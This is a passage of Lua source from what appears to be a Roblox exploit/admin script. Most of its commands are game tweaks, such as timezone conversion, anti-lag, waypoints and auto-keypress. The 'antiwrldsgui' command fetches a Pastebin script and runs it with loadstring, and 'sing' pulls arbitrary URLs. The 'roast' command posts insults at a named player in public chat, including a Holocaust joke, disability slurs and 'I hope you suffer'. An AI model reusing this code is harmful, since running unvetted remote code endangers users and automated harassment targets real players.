8486 elseif arguments[2] == "chst" then
8487 malformedHour = malformedHour+10
8488 elseif arguments[2] == "d" then
8489 malformedHour = malformedHour+4
8490 elseif arguments[2] == "davt" then
8491 malformedHour = malformedHour+7
8492 elseif arguments[2] == "ddut" then
8493 malformedHour = malformedHour+10
8494 elseif arguments[2] == "e" then
8495 malformedHour = malformedHour+5
8496 elseif arguments[2] == "easst" then
8497 malformedHour = malformedHour-5
8498 elseif arguments[2] == "east" then
8499 malformedHour = malformedHour-6
8500 elseif arguments[2] == "eat" then
8501 malformedHour = malformedHour+3
8502 elseif arguments[2] == "ect" then
8503 malformedHour = malformedHour-5
8504 elseif arguments[2] == "edt" then
8505 malformedHour = malformedHour-4
8506 elseif arguments[2] == "eest" then
8507 malformedHour = malformedHour+3
8508 elseif arguments[2] == "eet" then
8509 malformedHour = malformedHour+2
8510 elseif arguments[2] == "egst" then
8511 malformedHour = malformedHour
8512 elseif arguments[2] == "egt" then
8513 malformedHour = malformedHour-1
8514 elseif arguments[2] == "est" then
8515 malformedHour = malformedHour-5
8516 elseif arguments[2] == "et" then
8517 malformedHour = malformedHour-math.random(4,5)
8518 elseif arguments[2] == "f" then
8519 malformedHour = malformedHour+6
8520 elseif arguments[2] == "fet" then
8521 malformedHour = malformedHour+3
8522 elseif arguments[2] == "fjst" then
8523 malformedHour = malformedHour+13
8524 elseif arguments[2] == "fjt" then
8525 malformedHour = malformedHour+12
8526 elseif arguments[2] == "fkst" then
8527 malformedHour = malformedHour-3
8528 elseif arguments[2] == "fkt" then
8529 malformedHour = malformedHour-4
8530 elseif arguments[2] == "fnt" then
8531 malformedHour = malformedHour-2
8532 elseif arguments[2] == "g" then
8533 malformedHour = malformedHour+7
8534 elseif arguments[2] == "galt" then
8535 malformedHour = malformedHour-6
8536 elseif arguments[2] == "gamt" then
8537 malformedHour = malformedHour-9
8538 elseif arguments[2] == "get" then
8539 malformedHour = malformedHour+4
8540 elseif arguments[2] == "gft" then
8541 malformedHour = malformedHour-3
8542 elseif arguments[2] == "gilt" then
8543 malformedHour = malformedHour+12
8544 elseif arguments[2] == "gmt" then
8545 malformedHour = malformedHour
8546 elseif arguments[2] == "gst" then
8547 malformedHour = malformedHour+4
8548 elseif arguments[2] == "gst2" then
8549 malformedHour = malformedHour-2
8550 elseif arguments[2] == "gyt" then
8551 malformedHour = malformedHour-4
8552 elseif arguments[2] == "h" then
8553 malformedHour = malformedHour+8
8554 elseif arguments[2] == "hdt" then
8555 malformedHour = malformedHour-9
8556 elseif arguments[2] == "hkt" then
8557 malformedHour = malformedHour+8
8558 elseif arguments[2] == "hovst" then
8559 malformedHour = malformedHour+8
8560 elseif arguments[2] == "hovt" then
8561 malformedHour = malformedHour+7
8562 elseif arguments[2] == "hst" then
8563 malformedHour = malformedHour-10
8564 elseif arguments[2] == "i" then
8565 malformedHour = malformedHour+9
8566 elseif arguments[2] == "ict" then
8567 malformedHour = malformedHour+7
8568 elseif arguments[2] == "idt" then
8569 malformedHour = malformedHour+3
8570 elseif arguments[2] == "iot" then
8571 malformedHour = malformedHour+6
8572 elseif arguments[2] == "irdt" then
8573 malformedHour = malformedHour+4
8574 elseif arguments[2] == "irkst" then
8575 malformedHour = malformedHour+9
8576 elseif arguments[2] == "irkt" then
8577 malformedHour = malformedHour+8
8578 elseif arguments[2] == "irst" then
8579 malformedHour = malformedHour+3
8580 elseif arguments[2] == "ist" then
8581 malformedHour = malformedHour+5
8582 elseif arguments[2] == "ist2" then
8583 malformedHour = malformedHour+1
8584 elseif arguments[2] == "jst" then
8585 malformedHour = malformedHour+9
8586 elseif arguments[2] == "k" then
8587 malformedHour = malformedHour+10
8588 elseif arguments[2] == "kgt" then
8589 malformedHour = malformedHour+6
8590 elseif arguments[2] == "kost" then
8591 malformedHour = malformedHour+11
8592 elseif arguments[2] == "krast" then
8593 malformedHour = malformedHour+8
8594 elseif arguments[2] == "krat" then
8595 malformedHour = malformedHour+7
8596 elseif arguments[2] == "kst" then
8597 malformedHour = malformedHour+9
8598 elseif arguments[2] == "kuyt" then
8599 malformedHour = malformedHour+4
8600 elseif arguments[2] == "l" then
8601 malformedHour = malformedHour+11
8602 elseif arguments[2] == "lhdt" then
8603 malformedHour = malformedHour+11
8604 elseif arguments[2] == "lhst" then
8605 malformedHour = malformedHour+10
8606 elseif arguments[2] == "lint" then
8607 malformedHour = malformedHour+14
8608 elseif arguments[2] == "m" then
8609 malformedHour = malformedHour+12
8610 elseif arguments[2] == "magst" then
8611 malformedHour = malformedHour+12
8612 elseif arguments[2] == "magt" then
8613 malformedHour = malformedHour+11
8614 elseif arguments[2] == "mart" then
8615 malformedHour = malformedHour-9
8616 elseif arguments[2] == "mawt" then
8617 malformedHour = malformedHour+5
8618 elseif arguments[2] == "mdt" then
8619 malformedHour = malformedHour-6
8620 elseif arguments[2] == "mht" then
8621 malformedHour = malformedHour+12
8622 elseif arguments[2] == "mmt" then
8623 malformedHour = malformedHour+6
8624 elseif arguments[2] == "msd" then
8625 malformedHour = malformedHour+4
8626 elseif arguments[2] == "msk" then
8627 malformedHour = malformedHour+3
8628 elseif arguments[2] == "mst" then
8629 malformedHour = malformedHour-7
8630 elseif arguments[2] == "mt" then
8631 malformedHour = malformedHour-math.random(6,7)
8632 elseif arguments[2] == "mut" then
8633 malformedHour = malformedHour+4
8634 elseif arguments[2] == "mvt" then
8635 malformedHour = malformedHour+5
8636 elseif arguments[2] == "myt" then
8637 malformedHour = malformedHour+8
8638 elseif arguments[2] == "n" then
8639 malformedHour = malformedHour-1
8640 elseif arguments[2] == "nct" then
8641 malformedHour = malformedHour+11
8642 elseif arguments[2] == "ndt" then
8643 malformedHour = malformedHour-2
8644 elseif arguments[2] == "nfdt" then
8645 malformedHour = malformedHour+12
8646 elseif arguments[2] == "nft" then
8647 malformedHour = malformedHour+11
8648 elseif arguments[2] == "novst" then
8649 malformedHour = malformedHour+7
8650 elseif arguments[2] == "novt" then
8651 malformedHour = malformedHour+7
8652 elseif arguments[2] == "npt" then
8653 malformedHour = malformedHour+6
8654 elseif arguments[2] == "nrt" then
8655 malformedHour = malformedHour+12
8656 elseif arguments[2] == "nst" then
8657 malformedHour = malformedHour-3
8658 elseif arguments[2] == "nut" then
8659 malformedHour = malformedHour-11
8660 elseif arguments[2] == "nzdt" then
8661 malformedHour = malformedHour+13
8662 elseif arguments[2] == "nzst" then
8663 malformedHour = malformedHour+12
8664 elseif arguments[2] == "o" then
8665 malformedHour = malformedHour-2
8666 elseif arguments[2] == "omsst" then
8667 malformedHour = malformedHour+7
8668 elseif arguments[2] == "omst" then
8669 malformedHour = malformedHour+6
8670 elseif arguments[2] == "orat" then
8671 malformedHour = malformedHour+5
8672 elseif arguments[2] == "p" then
8673 malformedHour = malformedHour-3
8674 elseif arguments[2] == "pdt" then
8675 malformedHour = malformedHour-7
8676 elseif arguments[2] == "pet" then
8677 malformedHour = malformedHour-5
8678 elseif arguments[2] == "petst" then
8679 malformedHour = malformedHour+12
8680 elseif arguments[2] == "pett" then
8681 malformedHour = malformedHour+12
8682 elseif arguments[2] == "pgt" then
8683 malformedHour = malformedHour+10
8684 elseif arguments[2] == "phot" then
8685 malformedHour = malformedHour+13
8686 elseif arguments[2] == "pht" then
8687 malformedHour = malformedHour+8
8688 elseif arguments[2] == "pkt" then
8689 malformedHour = malformedHour+5
8690 elseif arguments[2] == "pmdt" then
8691 malformedHour = malformedHour-2
8692 elseif arguments[2] == "pmst" then
8693 malformedHour = malformedHour-3
8694 elseif arguments[2] == "pont" then
8695 malformedHour = malformedHour+11
8696 elseif arguments[2] == "pst" then
8697 malformedHour = malformedHour-8
8698 elseif arguments[2] == "pst2" then
8699 malformedHour = malformedHour-8
8700 elseif arguments[2] == "pt" then
8701 malformedHour = malformedHour-math.random(7,8)
8702 elseif arguments[2] == "pwt" then
8703 malformedHour = malformedHour+9
8704 elseif arguments[2] == "pyst" then
8705 malformedHour = malformedHour-3
8706 elseif arguments[2] == "pyt" then
8707 malformedHour = malformedHour-4
8708 elseif arguments[2] == "pyt2" then
8709 malformedHour = malformedHour+8
8710 elseif arguments[2] == "q" then
8711 malformedHour = malformedHour-4
8712 elseif arguments[2] == "qyzt" then
8713 malformedHour = malformedHour+6
8714 elseif arguments[2] == "r" then
8715 malformedHour = malformedHour-5
8716 elseif arguments[2] == "ret" then
8717 malformedHour = malformedHour+4
8718 elseif arguments[2] == "rott" then
8719 malformedHour = malformedHour-3
8720 elseif arguments[2] == "s" then
8721 malformedHour = malformedHour-6
8722 elseif arguments[2] == "sakt" then
8723 malformedHour = malformedHour+11
8724 elseif arguments[2] == "samt" then
8725 malformedHour = malformedHour+4
8726 elseif arguments[2] == "sast" then
8727 malformedHour = malformedHour+2
8728 elseif arguments[2] == "sbt" then
8729 malformedHour = malformedHour+11
8730 elseif arguments[2] == "sct" then
8731 malformedHour = malformedHour+4
8732 elseif arguments[2] == "sgt" then
8733 malformedHour = malformedHour+8
8734 elseif arguments[2] == "sret" then
8735 malformedHour = malformedHour+11
8736 elseif arguments[2] == "srt" then
8737 malformedHour = malformedHour-3
8738 elseif arguments[2] == "sst" then
8739 malformedHour = malformedHour-11
8740 elseif arguments[2] == "syot" then
8741 malformedHour = malformedHour+3
8742 elseif arguments[2] == "t" then
8743 malformedHour = malformedHour-7
8744 elseif arguments[2] == "taht" then
8745 malformedHour = malformedHour-10
8746 elseif arguments[2] == "tft" then
8747 malformedHour = malformedHour+5
8748 elseif arguments[2] == "tjt" then
8749 malformedHour = malformedHour+5
8750 elseif arguments[2] == "tkt" then
8751 malformedHour = malformedHour+13
8752 elseif arguments[2] == "tlt" then
8753 malformedHour = malformedHour+9
8754 elseif arguments[2] == "tmt" then
8755 malformedHour = malformedHour+5
8756 elseif arguments[2] == "tost" then
8757 malformedHour = malformedHour+14
8758 elseif arguments[2] == "tot" then
8759 malformedHour = malformedHour+13
8760 elseif arguments[2] == "trt" then
8761 malformedHour = malformedHour+3
8762 elseif arguments[2] == "tvt" then
8763 malformedHour = malformedHour+12
8764 elseif arguments[2] == "u" then
8765 malformedHour = malformedHour-8
8766 elseif arguments[2] == "ulast" then
8767 malformedHour = malformedHour+9
8768 elseif arguments[2] == "ulat" then
8769 malformedHour = malformedHour+8
8770 elseif arguments[2] == "utc" then
8771 malformedHour = malformedHour
8772 elseif arguments[2] == "uyst" then
8773 malformedHour = malformedHour-2
8774 elseif arguments[2] == "uyt" then
8775 malformedHour = malformedHour-3
8776 elseif arguments[2] == "uzt" then
8777 malformedHour = malformedHour+5
8778 elseif arguments[2] == "v" then
8779 malformedHour = malformedHour-9
8780 elseif arguments[2] == "vet" then
8781 malformedHour = malformedHour-4
8782 elseif arguments[2] == "vlast" then
8783 malformedHour = malformedHour+11
8784 elseif arguments[2] == "vlat" then
8785 malformedHour = malformedHour+10
8786 elseif arguments[2] == "vost" then
8787 malformedHour = malformedHour+6
8788 elseif arguments[2] == "vut" then
8789 malformedHour = malformedHour+11
8790 elseif arguments[2] == "w" then
8791 malformedHour = malformedHour-10
8792 elseif arguments[2] == "wakt" then
8793 malformedHour = malformedHour+12
8794 elseif arguments[2] == "warst" then
8795 malformedHour = malformedHour-3
8796 elseif arguments[2] == "wast" then
8797 malformedHour = malformedHour+2
8798 elseif arguments[2] == "wat" then
8799 malformedHour = malformedHour+1
8800 elseif arguments[2] == "west" then
8801 malformedHour = malformedHour+1
8802 elseif arguments[2] == "wet" then
8803 malformedHour = malformedHour
8804 elseif arguments[2] == "wft" then
8805 malformedHour = malformedHour+12
8806 elseif arguments[2] == "wgst" then
8807 malformedHour = malformedHour-2
8808 elseif arguments[2] == "wgt" then
8809 malformedHour = malformedHour-3
8810 elseif arguments[2] == "wib" then
8811 malformedHour = malformedHour+7
8812 elseif arguments[2] == "wit" then
8813 malformedHour = malformedHour+9
8814 elseif arguments[2] == "wita" then
8815 malformedHour = malformedHour+8
8816 elseif arguments[2] == "wst" then
8817 malformedHour = malformedHour+14
8818 elseif arguments[2] == "wst2" then
8819 malformedHour = malformedHour+1
8820 elseif arguments[2] == "wt" then
8821 malformedHour = malformedHour
8822 elseif arguments[2] == "x" then
8823 malformedHour = malformedHour-11
8824 elseif arguments[2] == "y" then
8825 malformedHour = malformedHour-12
8826 elseif arguments[2] == "yakst" then
8827 malformedHour = malformedHour+10
8828 elseif arguments[2] == "yakt" then
8829 malformedHour = malformedHour+9
8830 elseif arguments[2] == "yapt" then
8831 malformedHour = malformedHour+10
8832 elseif arguments[2] == "yekst" then
8833 malformedHour = malformedHour+6
8834 elseif arguments[2] == "yekt" then
8835 malformedHour = malformedHour+5
8836 elseif arguments[2] == "z" then
8837 malformedHour = malformedHour
8838 end
8839 if malformedHour == 24 then
8840 malformedHour = "12AM"
8841 elseif malformedHour == 1 or malformedHour == 25 then
8842 malformedHour = "1AM"
8843 elseif malformedHour == 2 or malformedHour == 26 then
8844 malformedHour = "2AM"
8845 elseif malformedHour == 3 or malformedHour == 27 then
8846 malformedHour = "3AM"
8847 elseif malformedHour == 4 or malformedHour == 28 then
8848 malformedHour = "4AM"
8849 elseif malformedHour == 5 or malformedHour == 29 then
8850 malformedHour = "5AM"
8851 elseif malformedHour == 6 or malformedHour == 30 then
8852 malformedHour = "6AM"
8853 elseif malformedHour == 7 or malformedHour == 31 then
8854 malformedHour = "7AM"
8855 elseif malformedHour == 8 or malformedHour == 32 then
8856 malformedHour = "8AM"
8857 elseif malformedHour == 9 or malformedHour == 33 then
8858 malformedHour = "9AM"
8859 elseif malformedHour == 10 or malformedHour == 34 or malformedHour == -14 then
8860 malformedHour = "10AM"
8861 elseif malformedHour == 11 or malformedHour == -13 then
8862 malformedHour = "11AM"
8863 elseif malformedHour == 12 or malformedHour == -12 then
8864 malformedHour = "12PM"
8865 elseif malformedHour == 13 or malformedHour == -11 then
8866 malformedhour = "1PM"
8867 elseif malformedHour == 14 or malformedHour == -10 then
8868 malformedHour = "2PM"
8869 elseif malformedHour == 15 or malformedHour == -9 then
8870 malformedHour = "3PM"
8871 elseif malformedHour == 16 or malformedHour == -8 then
8872 malformedHour = "4PM"
8873 elseif malformedHour == 17 or malformedHour == -7 then
8874 malformedHour = "5PM"
8875 elseif malformedHour == 18 or malformedHour == -6 then
8876 malformedHour = "6PM"
8877 elseif malformedHour == 19 or malformedHour == -5 then
8878 malformedHour = "7PM"
8879 elseif malformedHour == 20 or malformedHour == -4 then
8880 malformedHour = "8PM"
8881 elseif malformedHour == 21 or malformedHour == -3 then
8882 malformedHour = "9PM"
8883 elseif malformedHour == 22 or malformedHour == -2 then
8884 malformedHour = "10PM"
8885 elseif malformedHour == 23 or malformedHour == -1 then
8886 malformedHour = "11PM"
8887 end
8888 opx("-","The time in "..arguments[2].." is "..malformedHour)
8889 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("The time in, timezone: "..arguments[2]:upper().." is "..malformedHour,"All")
8890end
8891
8892function useCommand.removeforces()
8893 for i,f in pairs(cmdlp.Character:GetDescendants()) do
8894 if f:IsA("BodyForce") or f:IsA("BodyGyro") or f:IsA("BodyVelocity") or f:IsA("BodyAngularVelocity") or f:IsA("RocketPropulsion") or f:IsA("BodyThrust") then
8895 f:Destroy()
8896 end
8897 end
8898 opx("-","Removed all forces")
8899end
8900
8901local audioLogger = false
8902function useCommand.audiologger()
8903 local function tableContains(tbl, element)
8904 for _, v in ipairs(tbl) do
8905 if (rawequal(v, element)) then
8906 return true;
8907 end
8908 end
8909 return false;
8910 end
8911 s = {}
8912 function audioLogPlayers()
8913 for i,plr in pairs(cmdp:GetDescendants()) do
8914 if plr:IsA("Sound") then
8915 if string.len(plr.SoundId) <= 50 then
8916 local soundSplit = plr.SoundId:split("=")
8917 if tableContains(s,soundSplit[2]) ~= true and soundSplit[2] ~= nil then
8918 s[#s+1] = soundSplit[2]
8919 print(soundSplit[2])
8920 end
8921 end
8922 end
8923 end
8924 end
8925 opx("-","Audio logger activated do audiologgersave to stop and save")
8926 audioLogger = true
8927 repeat wait()
8928 audioLogPlayers()
8929 until audioLogger == false
8930end
8931
8932function useCommand.audiologgersave()
8933 opx("-","Audio logger stopped, file saved in workspace")
8934 audioLogger = false
8935 local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
8936 local filename = GetName.Name.." audiolog"..math.random(1,10000)
8937 audioIds = game:GetService("HttpService"):JSONEncode(s)
8938 writefile(filename..".CMD-X", audioIds)
8939end
8940
8941function useCommand.antilag()
8942 Confirm("Default","This command is not reversable.")
8943 if Confirmation == true then
8944 for i,ws in pairs(workspace:GetDescendants()) do
8945 if ws:IsA("BasePart") then
8946 ws.Material = "Plastic"
8947 elseif ws:IsA("Decal") or ws:IsA("Texture") or ws:IsA("ParticleEmitter") or ws:IsA("Sparkles") or ws:IsA("Fire") or ws:IsA("Smoke") and ws.Name ~= "face" then
8948 ws:Destroy()
8949 end
8950 end
8951 for i,ws in pairs(workspace:GetChildren()) do
8952 if ws:IsA("Accessory") or ws:IsA("Tool") then
8953 ws:Destroy()
8954 end
8955 end
8956 for i,ws in pairs(game.Lighting:GetDescendants()) do
8957 if ws:IsA("BasePart") then
8958 ws.Material = "Plastic"
8959 elseif ws:IsA("Decal") or ws:IsA("Texture") or ws:IsA("ParticleEmitter") or ws:IsA("Sparkles") or ws:IsA("Fire") or ws:IsA("Smoke") then
8960 ws:Destroy()
8961 end
8962 end
8963 opx("-","Attempted to minimalize lag as much as possible")
8964 end
8965end
8966
8967function useCommand.clear()
8968 for i,ws in pairs(workspace:GetChildren()) do
8969 if ws:IsA("Accessory") or ws:IsA("Tool") then
8970 ws:Destroy()
8971 end
8972 end
8973 opx("-","Cleared all hats and gears from client")
8974end
8975
8976function useCommand.removeterrain()
8977 workspace.Terrain:Clear()
8978 opx("-","Removed terrain")
8979end
8980
8981function useCommand.phone()
8982 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
8983 if hat.Handle ~= nil then
8984 local tool = Instance.new("Tool", cmdlp.Backpack)
8985 tool.Name = "poop123"
8986 tool.GripPos = Vector3.new(0.4, -0.9, 0)
8987 local hathandle = hat.Handle
8988 hathandle:FindFirstChildOfClass("Weld"):Destroy()
8989 hathandle.Parent = tool
8990 hathandle.Massless = true
8991 end
8992 end
8993 opx("-","Made your phone holdable")
8994end
8995
8996function useCommand.compliment()
8997 if arguments[2] then
8998 target = findplr(arguments[2])
8999 if target then
9000 local compPick = {"Them toes lookin cute","You have very nice shoes","If I’m what made your day then your what made this world go round. along with making it a better place just from being here with everyone else","You're a nice person, and i hope you have an amazing week","You somewhat made me kinda sorta smile I guess","Your avatar looks awesome","Your name makes me smile","You are the best person ever","If I could I would hug you","You make me happy","You have brightened up my day","You are the most amazing person I've ever met","Your avatar looks nice today","You are an amazing person","You are the king/queen","Don't drop your crown"}
9001 local value = math.random(1,#compPick)
9002 local picked_value = compPick[value]
9003 opx("-","You complimented "..target.Name)
9004 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(tostring(picked_value)..", "..target.Name, "All")
9005 else
9006 opx("*","Player does not exist!")
9007 end
9008 else
9009 opx("*","2 arguments are needed for this command!")
9010 end
9011end
9012
9013function useCommand.roast()
9014 if arguments[2] then
9015 target = findplr(arguments[2])
9016 if target then
9017 local roastPick = {"Anne Frank hid better then you","Go to bed","You need a shower","You look like a barbie doll which i gave a makeover with my markers","Your momma back built like a skate ramp I can do an ollie off her","You look like the 1% of germs that hand-soap doesn’t kill","Boy u literally be smelling like tv oil","90% of your “beauty†can be removed with a Kleenex","No wonder your parents hate you","You haven't had any neurological brain development in the last decade","I will build a sandcastle out of your dead nans ashes","Your brain has the capacity of a dried sea sponge","You make me cringe, I literally want to quit this game because of you","Your outfit is horrendous","Your name is horrendous","Your IQ is so low that even scientists cant zoom in on it","You are a femmie","You are fat","You stink of your nans cremation","How many people does it take to screw in a lightbulb? 20 of your kind","I can smell you through the screen","Candy shop got robbed, didn't know you did it","You are poor","Your brain is the size of an average ants","Everything you've worked for, your whole life is embarassing","Go back to school","Are you dumb or just young","You make me feel e-sick","I very much dislike you","Settle along you peasent","You are worth nothing","I hope you suffer","Your words, they make no sense","Please leave the server you cretin","You make me sick","Huh? Didn't know infants could play roblox","I bet you live in a poverty stricken country","You belong in the special ed class","Is it just me or does someone smell, nvm thats just","Is it just me or is someone dumb, nvm thats just","Is it just me or is someone fat, nvm thats just"}
9018 local value = math.random(1,#roastPick)
9019 local picked_value = roastPick[value]
9020 opx("-","You roasted "..target.Name)
9021 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(tostring(picked_value)..", "..target.Name, "All")
9022 else
9023 opx("*","Player does not exist!")
9024 end
9025 else
9026 opx("*","2 arguments are needed for this command!")
9027 end
9028end
9029
9030function useCommand.singinfo()
9031 opx("-","Showed info for sing command")
9032 opxL("Sing Info","Step 1: Get your song lyrics\
9033 Step 2: Remove any blank lines\
9034 Step 3: Find and remove any swear words\
9035 Step 4: Put hashtags (#) at the end of each line\
9036 Step 5: Compress the lines to avoid whitespace errors\
9037 Step 6: Put your compressed text into a raw data uploading site such as pastebin or hastebin\
9038 Step 7: Insert the link into the sing command\
9039 To see a sample of what to do, visit: https://pastebin.com/raw/rNcWf8mK")
9040end
9041
9042function useCommand.sing()
9043 if arguments[2] == "genocide" then
9044 getSong = "https://pastebin.com/raw/rNcWf8mK"
9045 elseif arguments[2] == "babyshark" then
9046 getSong = "https://pastebin.com/raw/n9G4qwR4"
9047 elseif arguments[2] == "animethighs" then
9048 getSong = "https://pastebin.com/raw/VsUcnYyr"
9049 elseif arguments[2] == "evilfantasy" then
9050 getSong = "https://pastebin.com/raw/8Mqi4Vtb"
9051 elseif arguments[2] == "$harkattack" then
9052 getSong = "https://pastebin.com/raw/6aYw5Bih"
9053 elseif arguments[2] == "dora" then
9054 getSong = "https://pastebin.com/raw/KTruLCL7"
9055 elseif arguments[2] == "introversion" then
9056 getSong = "https://pastebin.com/raw/pkQNGdU8"
9057 elseif arguments[2] == "lucy" then
9058 getSong = "https://pastebin.com/raw/j47SaDjL"
9059 elseif arguments[2] == "tyler" then
9060 getSong = "https://pastebin.com/raw/Sna0chxq"
9061 elseif arguments[2] == "methhead" then
9062 getSong = "https://pastebin.com/raw/VAgv7eGE"
9063 elseif arguments[2] == "superfuntime" then
9064 getSong = "https://pastebin.com/raw/cgfzcb3d"
9065 elseif arguments[2] == "haha" then
9066 getSong = "https://pastebin.com/raw/pGE8kr1x"
9067 elseif arguments[2] == "diamonds" then
9068 getSong = "https://pastebin.com/raw/j7mvzu4s"
9069 else
9070 getSong = arguments[2]
9071 end
9072 local lyricsTable = game:HttpGet(getSong):split("#")
9073 local songTitle = lyricsTable[1]
9074 opx("-","Now singing "..songTitle)
9075 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Now singing "..songTitle, "All")
9076 table.remove(lyricsTable,1)
9077 for i,v in pairs(lyricsTable) do
9078 wait(5)
9079 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(v, "All")
9080 end
9081 wait(5)
9082 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Finished singing "..songTitle, "All")
9083end
9084
9085function useCommand.deletepos()
9086 if arguments[2] then
9087 wpNS = getstring(2)
9088 for i,v in pairs(WPs) do
9089 if tostring(v.N) == tostring(wpNS) then
9090 table.remove(WPs,i)
9091 updatesaves()
9092 end
9093 end
9094 opx("-","Deleted position "..tostring(wpNS))
9095 else
9096 opx("*","2 arguments are needed for this command!")
9097 end
9098end
9099
9100function useCommand.clearpos()
9101 WPs = {}
9102 updatesaves()
9103 opx("-","Cleared all waypoints")
9104end
9105
9106function useCommand.nocommands()
9107 noCMD = true
9108 opx("-","No commands activated")
9109end
9110
9111function useCommand.yescommands()
9112 noCMD = false
9113 opx("-","No commands de-activated")
9114end
9115
9116function useCommand.gotopos()
9117 if arguments[3] then
9118 if arguments[2] == "behind" then
9119 gotoPos = arguments[3]
9120 updatesaves()
9121 opx("-","GotoPos is now "..arguments[2].." "..arguments[3])
9122 elseif arguments[2] == "infront" then
9123 gotoPos = -arguments[3]
9124 updatesaves()
9125 opx("-","GotoPos is now "..arguments[2].." "..arguments[3])
9126 elseif arguments[2] == "left" then
9127 gotoPosSide = -arguments[3]
9128 updatesaves()
9129 opx("-","GotoPosSide is now "..arguments[2].." "..arguments[3])
9130 elseif arguments[2] == "right" then
9131 gotoPosSide = arguments[3]
9132 updatesaves()
9133 opx("-","GotoPosSide is now "..arguments[2].." "..arguments[3])
9134 elseif arguments[2] == "above" then
9135 gotoPosHead = arguments[3]
9136 updatesaves()
9137 opx("-","GotoPosHead is now "..arguments[2].." "..arguments[3])
9138 elseif arguments[2] == "under" then
9139 gotoPosHead = -arguments[3]
9140 updatesaves()
9141 opx("-","GotoPosHead is now "..arguments[2].." "..arguments[3])
9142 else
9143 opx("*","A proper preset is needed")
9144 end
9145 else
9146 opx("*","3 arguments are needed for this command!")
9147 end
9148end
9149
9150local autoKey = false
9151function useCommand.autokey()
9152 if arguments[2] then
9153 entered0x = arguments[2]
9154 autoKey = true
9155 opx("-","Now auto keying "..entered0x)
9156 while autoKey == true do
9157 wait()
9158 if not game.UserInputService:GetFocusedTextBox() then
9159 if entered0x == "0" then
9160 keypress(0x30)
9161 elseif entered0x == "1" then
9162 keypress(0x31)
9163 elseif entered0x == "2" then
9164 keypress(0x32)
9165 elseif entered0x == "3" then
9166 keypress(0x33)
9167 elseif entered0x == "4" then
9168 keypress(0x34)
9169 elseif entered0x == "5" then
9170 keypress(0x35)
9171 elseif entered0x == "6" then
9172 keypress(0x36)
9173 elseif entered0x == "7" then
9174 keypress(0x37)
9175 elseif entered0x == "8" then
9176 keypress(0x38)
9177 elseif entered0x == "9" then
9178 keypress(0x39)
9179 elseif entered0x == "a" then
9180 keypress(0x41)
9181 elseif entered0x == "b" then
9182 keypress(0x42)
9183 elseif entered0x == "c" then
9184 keypress(0x43)
9185 elseif entered0x == "d" then
9186 keypress(0x44)
9187 elseif entered0x == "e" then
9188 keypress(0x45)
9189 elseif entered0x == "f" then
9190 keypress(0x46)
9191 elseif entered0x == "g" then
9192 keypress(0x47)
9193 elseif entered0x == "h" then
9194 keypress(0x48)
9195 elseif entered0x == "i" then
9196 keypress(0x49)
9197 elseif entered0x == "j" then
9198 keypress(0x4A)
9199 elseif entered0x == "k" then
9200 keypress(0x4B)
9201 elseif entered0x == "l" then
9202 keypress(0x4C)
9203 elseif entered0x == "m" then
9204 keypress(0x4D)
9205 elseif entered0x == "n" then
9206 keypress(0x4E)
9207 elseif entered0x == "o" then
9208 keypress(0x4F)
9209 elseif entered0x == "p" then
9210 keypress(0x50)
9211 elseif entered0x == "q" then
9212 keypress(0x51)
9213 elseif entered0x == "r" then
9214 keypress(0x52)
9215 elseif entered0x == "s" then
9216 keypress(0x53)
9217 elseif entered0x == "t" then
9218 keypress(0x54)
9219 elseif entered0x == "u" then
9220 keypress(0x55)
9221 elseif entered0x == "v" then
9222 keypress(0x56)
9223 elseif entered0x == "w" then
9224 keypress(0x57)
9225 elseif entered0x == "x" then
9226 keypress(0x58)
9227 elseif entered0x == "y" then
9228 keypress(0x59)
9229 elseif entered0x == "z" then
9230 keypress(0x5A)
9231 end
9232 end
9233 end
9234 else
9235 opx("*","2 arguments are needed for this command!")
9236 end
9237end
9238
9239function useCommand.unautokey()
9240 autoKey = false
9241 opx("-","Stopped autokey")
9242end
9243
9244function useCommand.swimwalk()
9245 opx("-","Now infinitely swimming")
9246 workspace.Gravity = 100
9247 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
9248 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
9249 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
9250 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
9251 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
9252 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
9253 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
9254 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
9255 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
9256 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
9257 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
9258 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
9259 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
9260 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
9261 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
9262 cmdlp.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
9263end
9264
9265function useCommand.instances()
9266 opx("-","There are "..#game:GetDescendants().." instances in this game")
9267end
9268
9269function useCommand.plugin()
9270 opx("-","Loaded Plugins GUI")
9271 HolderOfP.Visible = true
9272end
9273
9274function useCommand.loadcustomsclr()
9275 loadCustoms = {}
9276 updatesaves()
9277 opx("-","Cleared loadcustoms")
9278end
9279
9280function useCommand.antiwrldsgui()
9281 opx("-","antiwrldsGUI loading")
9282 loadstring(game:HttpGet(('https://pastebin.com/raw/1LUE7bXP'),true))()
9283 opx("-","antiwrldsGUI loaded")
9284end
9285
